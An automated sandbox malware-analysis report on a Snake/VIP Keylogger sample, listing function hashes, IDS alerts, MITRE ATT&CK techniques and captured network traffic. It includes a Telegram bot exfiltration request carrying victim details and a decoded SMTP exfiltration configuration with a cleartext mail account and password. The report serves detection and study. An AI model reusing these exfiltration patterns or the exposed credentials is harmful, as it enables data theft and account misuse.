API ID:
String ID:
API String ID:
Opcode ID: c8313d0841b89653b3198db0b8c96e21244b62f96c56fcf28890c539a2b4a50d
Instruction ID: b19de61cff50fa39df1dece5b5508746c02259a3d97f7b7dadd98941d0a3464f
Opcode Fuzzy Hash: c8313d0841b89653b3198db0b8c96e21244b62f96c56fcf28890c539a2b4a50d
Instruction Fuzzy Hash: DFC18074E01218CFDB18DFA9C994BADBBB6FB89300F2090A9D409AB354DB355E85CF50

Function 05E9E4C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78955f6f85da2c81c8572f1f23cec802519337cd079de9bbf3cd33e9d1c9434f
Instruction ID: 72fa90e57097b5a8c0d0224b8a5b2e756d9d0724e725d3b79048a097deebed61
Opcode Fuzzy Hash: 78955f6f85da2c81c8572f1f23cec802519337cd079de9bbf3cd33e9d1c9434f
Instruction Fuzzy Hash: 2AC18F74E01218CFDB18DFA9C994BADBBB6FB89300F2490A9D409AB354DB355E85CF50

Function 05E9E068 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ebcf966ed51c716e904180d57e38a2ac6de9b7493b0c107473984106b9e5a8c
Instruction ID: af6dcb0addc47c212194a33daa1951226d52b433000edb2d667b05d5a7747441
Opcode Fuzzy Hash: 7ebcf966ed51c716e904180d57e38a2ac6de9b7493b0c107473984106b9e5a8c
Instruction Fuzzy Hash: 7DC18F74E01218CFDB18DFA9C984BADBBB6FB89300F2090A9D409AB355DB355E81CF50

Function 05E9DC10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cbb52c5b24a1d579aca43367379aca31538c1041fd6f1d0bf2b82391bcdcd41
Instruction ID: 0b220201f4c2b067c608e3a963c080516c51fe7d4c9d76ee6c14fcd2300b59d1
Opcode Fuzzy Hash: 5cbb52c5b24a1d579aca43367379aca31538c1041fd6f1d0bf2b82391bcdcd41
Instruction Fuzzy Hash: 9AC18074E01218CFDB18DFA9C994BADBBB6EF89300F2091A9D409AB355DB355E81CF50

Function 05E9D7B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ccecba744a58134378c1df69bf8d14b03ba0d4d008c9d8c540e852e9381902
Instruction ID: 593467c5bfa02bc7658f39b0648e051c9e16c1538650d00dbc1f268d767068ad
Opcode Fuzzy Hash: 59ccecba744a58134378c1df69bf8d14b03ba0d4d008c9d8c540e852e9381902
Instruction Fuzzy Hash: 8CC18E74E01218CFDB18DFA9C994BADBBB6AB89300F2091A9D409AB355DB355E81CF50

Function 05E9D360 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a2b407eaaa96ab0ceb646ef1be0a9a378c61826865e78d78682990df6aa83fd
Instruction ID: 2ec02ebcd75f3f9dffa31f5e9dac0756801c34f36c865c9cc819b480ca7ac3c1
Opcode Fuzzy Hash: 1a2b407eaaa96ab0ceb646ef1be0a9a378c61826865e78d78682990df6aa83fd
Instruction Fuzzy Hash: B6C18F74E01218CFDB18DFA9C994BADBBB6FB89300F2090A9D409AB354DB355E81CF50

Function 05E9CF08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b458e5f2940a5bf499d42995c5aab26af200e77cce1d239ba4e1304d4937ed2d
Instruction ID: ea88a559988be1155249f434f1542a77fc6d81cf9b9391794503d737569a0353
Opcode Fuzzy Hash: b458e5f2940a5bf499d42995c5aab26af200e77cce1d239ba4e1304d4937ed2d
Instruction Fuzzy Hash: 01C18174E01318CFDB18DFA9C984BADBBB6EB89300F2091A9D409AB354DB355E81CF50

Function 05E9FA78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8025d07cb5a78358dcb274f5c058951e8431ab75f03a7c781982b368cae36160
Instruction ID: 32ce593f3d010e0cbc971878e65904f96fcfbd09b7c8021927b812cd9b3d6155
Opcode Fuzzy Hash: 8025d07cb5a78358dcb274f5c058951e8431ab75f03a7c781982b368cae36160
Instruction Fuzzy Hash: 80C19074E01218CFDB18DFA9C994BADBBB6FB89300F2090A9D419AB355DB355E81CF50

Function 05E9F620 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5576fdd38317965cbba59075f072ea68100e1c3faecc9c070abc0ed6277ed2d
Instruction ID: ed9ea58d9648516e545c9cef2718c5a41fb70e5bca7b4e383b12b37c83214ca9
Opcode Fuzzy Hash: c5576fdd38317965cbba59075f072ea68100e1c3faecc9c070abc0ed6277ed2d
Instruction Fuzzy Hash: E7C18074E01318CFDB18DFA9D984BADBBB6EB89300F2090A9D419AB355DB355E81CF50

Function 05E92DD0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a07ff170de0aea23f6d0b866cac63b77973b0c403498be389a0d4dad70807aaa
Instruction ID: 0ac81f1b31fa7ff27417e4b6addb66467e57b782bfdc46888d4fe702f4fd7ac7
Opcode Fuzzy Hash: a07ff170de0aea23f6d0b866cac63b77973b0c403498be389a0d4dad70807aaa
Instruction Fuzzy Hash: 42A10674D003088FEB24DFA9C988B9DFBB1FF48314F209269E549AB2A1DB755985CF50

Function 05E92DCA Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a3d852fa07cee5dc8c880ae8c2576dc2718995124a0af0e513d64cb9c5035a6
Instruction ID: 2b31736448c78abd8d95af1a4ade9a3b0c8efaca6d08b2fd2e51630bb2d1cc93
Opcode Fuzzy Hash: 7a3d852fa07cee5dc8c880ae8c2576dc2718995124a0af0e513d64cb9c5035a6
Instruction Fuzzy Hash: 5BA10674D002088FEB14DFA9C588BDDFBB1FF88314F209269E549AB2A1DB755985CF50

Function 05E93116 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ad24eea3799c20bc6ef972204aaf356f3f63c172096ab1c00ff48c303ccb7a4
Instruction ID: d510f9e4bbb7a2bf910ced52e55d39622c827ddb8c148c0f8285226bb10fb54b
Opcode Fuzzy Hash: 9ad24eea3799c20bc6ef972204aaf356f3f63c172096ab1c00ff48c303ccb7a4
Instruction Fuzzy Hash: F0910274900308CFEB14DFA9C888B9CBBB1FF49314F209269E549AB2A1DB759985CF50

Function 031CF33C Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ebf3f9ab63971e33302ce0daca047af9f2d3b4d64208e29c63825030cd28257
Instruction ID: b92fc774dbf75404a72f8c6e0c7747a7189044107f2add61c41147c301d6156f
Opcode Fuzzy Hash: 5ebf3f9ab63971e33302ce0daca047af9f2d3b4d64208e29c63825030cd28257
Instruction Fuzzy Hash: 85510F74E21288CFDB14DFA8D588BADFBB6FB5C301F249169D405AB284C775A982CF50

Function 031CF150 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5490d5fae8c9c5c752e1b4d993160dde48e5325724d71dcf744dbdb7e6d26d
Instruction ID: dd04e0fcc38656ecdf3a4a849b8263ce14497d9281bb1e86e2e13d175d6f276d
Opcode Fuzzy Hash: 4b5490d5fae8c9c5c752e1b4d993160dde48e5325724d71dcf744dbdb7e6d26d
Instruction Fuzzy Hash: 36513574E10288CBDB14DFA9D9887ADFBB2FB9C301F24D129D404AB298D7759982CF50

Function 031C6920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;q, xrefs: 031C6936
\;q, xrefs: 031C695E
\;q, xrefs: 031C6952
\;q, xrefs: 031C692C

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: \;q$\;q$\;q$\;q
API String ID: 0-2933265366
Opcode ID: e433b211c73eee8e026e193a44add3c57acf7a80e1cb987e35ff346415219b45
Instruction ID: 06857cf7e9d87d23733afcd9efde35c291505e601a2d43ba944a7c6216442843
Opcode Fuzzy Hash: e433b211c73eee8e026e193a44add3c57acf7a80e1cb987e35ff346415219b45
Instruction Fuzzy Hash: 21014F317601558FC724DE2DC944A25F3EAAFACA6072E42AEE40ACB374DB31EC818751

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2006/01/2025%20/%2020:38:20%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49741 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49709 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49753 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49717 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49707 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49701 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49706 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49784 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2006/01/2025%20/%2020:38:20%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "logistics@aruzen.co.in", "Password": "Pawsad-xovwut-2zoxso", "Host": "mail.aruzen.co.in", "Port": "587", "Version": "4.4"}
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "logistics@aruzen.co.in", "Password": "Pawsad-xovwut-2zoxso", "Host": "mail.aruzen.co.in", "Port": "587"}

Source: kP8EgMorTr.exe	Virustotal: Detection: 36%			Perma Link
Source: kP8EgMorTr.exe	ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 031CF2EDh	3_2_031CF33C
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 031CF2EDh	3_2_031CF150
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 031CFAA9h	3_2_031CF7F1
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E931E8h	3_2_05E92DCA
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E931E8h	3_2_05E92DD0
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9F019h	3_2_05E9ED70
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9E769h	3_2_05E9E4C0
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9DEB9h	3_2_05E9DC10
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9DA61h	3_2_05E9D7B8
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9D1B1h	3_2_05E9CF08
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9F8C9h	3_2_05E9F620
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9F471h	3_2_05E9F1C8
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E92C21h	3_2_05E92970
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9EBC1h	3_2_05E9E918
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E931E8h	3_2_05E93116
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9E311h	3_2_05E9E068
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_05E90040
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9D609h	3_2_05E9D360
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E90D0Dh	3_2_05E90B30
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E91697h	3_2_05E90B30
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 4x nop then jmp 05E9FD21h	3_2_05E9FA78

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

